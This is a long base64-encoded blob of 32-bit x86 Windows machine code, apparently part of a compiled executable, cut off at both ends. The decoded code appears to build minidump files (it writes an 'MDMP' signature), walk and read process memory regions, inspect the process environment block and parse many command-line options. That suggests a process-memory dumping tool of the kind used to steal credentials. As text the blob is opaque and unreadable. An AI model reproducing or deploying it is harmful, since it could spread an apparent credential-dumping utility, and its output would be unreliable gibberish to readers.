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XQiQKLRQiLQAiJhVz///+LRZiJRCQIjYVg////iUQkBItFCIkEJOgc+f//hcB1CrgAAAAA6eYAAADHRCQMBAAAAI1FmIlEJAjHRCQEJAAAAItFCIkEJOi6+P//x0QkDAQAAACNhVz///+JRCQIx0QkBCgAAACLRQiJBCTolfj//4tFCItACImFWP///4tF4A+3AA+3wImFVP///8dEJAgEAAAAjYVU////iUQkBItFCIkEJOiP+P//hcB1B7gAAAAA61yLReAPtwAPt9CLReCLQASJVCQIiUQkBItFCIkEJOhi+P//hcB1B7gAAAAA6y+LhVz///+NUBjHRCQMBAAAAI2FWP///4lEJAiJVCQEi0UIiQQk6Pv3//+4AQAAAIt9/MnDVYnlV1ZTgexcAQAAjUWUuyDwQAC6EgAAAInHid6J0fOli0UIiwDHRCQMAQAAAMdEJAgSAAAAjVWUiVQkBIkEJOge2///iUXgg33gAHUKuAAAAADphAUAAItF4IlF5MdFkAAAAADp1QAAAItFkIPAAYlFkItFCItQCItF5ImQFAEAAItF5IPAFMdEJAQAAQAAiQQk6PQuAACJhRj///+LhRj///+DwAGJhRj///+LhRj///8BwImFGP///8dEJAgEAAAAjYUY////iUQkBItFCIkEJOhL9///hcB1HItF4IkEJOiNw///x0XgAAAAALgAAAAA6eQEAACLhRj///+LVeSDwhSJRCQIiVQkBItFCIkEJOgM9///hcB1HItF4IkEJOhOw///x0XgAAAAALgAAAAA6aUEAACLReSLAIlF5IN95AAPhSH///+LRQiLQAiJRYzHRCQIBAAAAI1FkIlEJASLRQiJBCTot/b//4XAdRyLReCJBCTo+cL//8dF4AAAAAC4AAAAAOlQBAAAx4Ug////AAAAAI2VJP///7gAAAAAuRoAAACJ1/Ori0XgiUXk6cQDAACNlaj+//+4AAAAALkcAAAAidfzq4tF5ItQDItACLoAAAAAiYWo/v//iZWs/v//i0Xki0AQiYWw/v//i0Xki4AcAQAAiYW0/v//i0Xki4AYAQAAiYW4/v//i0Xki4AUAQAAiYW8/v//x4XA/v//AAAAAMeFxP7//wAAAADHhcj+//8AAAAAx4XM/v//AAAAAMeF0P7//wAAAADHhdT+//8AAAAAx4XY/v//AAAAAMeF3P7//wAAAADHheD+//8AAAAAx4Xk/v//AAAAAMeF6P7//wAAAADHhez+//8AAAAAx4Xw/v//AAAAAMeF9P7//wAAAADHhfj+//8AAAAAx4X8/v//AAAAAMeFAP///wAAAADHhQj///8AAAAAx4UM////AAAAAMeFEP///wAAAADHhRT///8AAAAAx0XcAAAAAI2VIP///4tF3I0MAouFqP7//4uVrP7//4kBiVEEg0XcCI2VIP///4tF3AHCi4Ww/v//iQKDRdwEjZUg////i0XcAcKLhbT+//+JAoNF3ASNlSD///+LRdwBwouFuP7//4kCg0XcBI2VIP///4tF3AHCi4W8/v//iQKDRdwEjZUg////i0XcAcKLhcD+//+JAoNF3ASNlSD///+LRdwBwouFxP7//4kCg0XcBI2VIP///4tF3AHCi4XI/v//iQKDRdwEjZUg////i0XcAcKLhcz+//+JAoNF3ASNlSD///+LRdwBwouF0P7//4kCg0XcBI2VIP///4tF3AHCi4XU/v//iQKDRdwEjZUg////i0XcAcKLhdj+//+JAoNF3ASNlSD///+LRdwBwouF3P7//4kCg0XcBI2VIP///4tF3AHCi4Xg/v//iQKDRdwEjZUg////i0XcAcKLheT+//+JAoNF3ASNlSD///+LRdwBwouF6P7//4kCg0XcBI2VIP///4tF3AHCi4Xs/v//iQKDRdwEjZUg////i0XcAcKLhfD+//+JAoNF3ASNlSD///+LRdwBwouF9P7//4kCg0XcBI2VIP///4tF3AHCi4X4/v//iQKDRdwEjZUg////i0XcAcKLhfz+//+JAoNF3ASNlSD///+LRdwBwouFAP///4kCg0XcBI2VIP///4tF3I0MAouFCP///4uVDP///4kBiVEEg0XcCI2VIP///4tF3I0MAouFEP///4uVFP///4kBiVEEx0QkCGwAAACNhSD///+JRCQEi0UIiQQk6M/y//+FwHUZi0XgiQQk6BG////HReAAAAAAuAAAAADra4tF5IsAiUXkg33kAA+FMvz//4tFkGvAbIPABImFHP///8dEJAwEAAAAjYUc////iUQkCMdEJAQwAAAAi0UIiQQk6Dry///HRCQMBAAAAI1FjIlEJAjHRCQENAAAAItFCIkEJOgY8v//i0XggcRcAQAAW1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